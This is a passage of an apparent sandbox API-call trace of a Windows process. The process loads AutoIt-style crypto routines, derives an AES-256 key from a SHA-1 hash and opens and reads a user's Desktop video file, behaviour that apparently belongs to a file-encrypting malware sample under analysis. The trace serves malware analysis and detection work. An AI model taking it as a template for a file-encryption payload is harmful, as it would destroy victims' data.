lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.703] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.703] CloseHandle (hObject=0x188) returned 1 [0023.704] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.704] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.704] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.704] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.704] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.704] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.704] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.705] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.705] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.705] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.705] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.705] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.705] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.705] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.706] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.706] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.706] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.706] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.706] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.706] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.706] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.707] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.707] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.707] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.707] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.707] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b480, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.707] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.707] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.707] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.707] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.708] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0023.708] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.709] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.709] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.709] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.709] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.709] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.709] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.709] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0023.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0xe8f417b200, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0023.709] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyHash") returned 0x7ffe2a59e84c [0023.710] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0023.710] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.711] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.711] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\Zpipq.avi" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\zpipq.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.711] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.711] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.712] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.713] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.713] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.713] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.713] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.713] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.713] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.715] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.715] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5ffe, lpOverlapped=0x0) returned 1 [0023.715] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.717] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.717] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.717] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.717] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.717] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.717] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.717] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.718] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.718] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.718] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064bb0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064bb0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 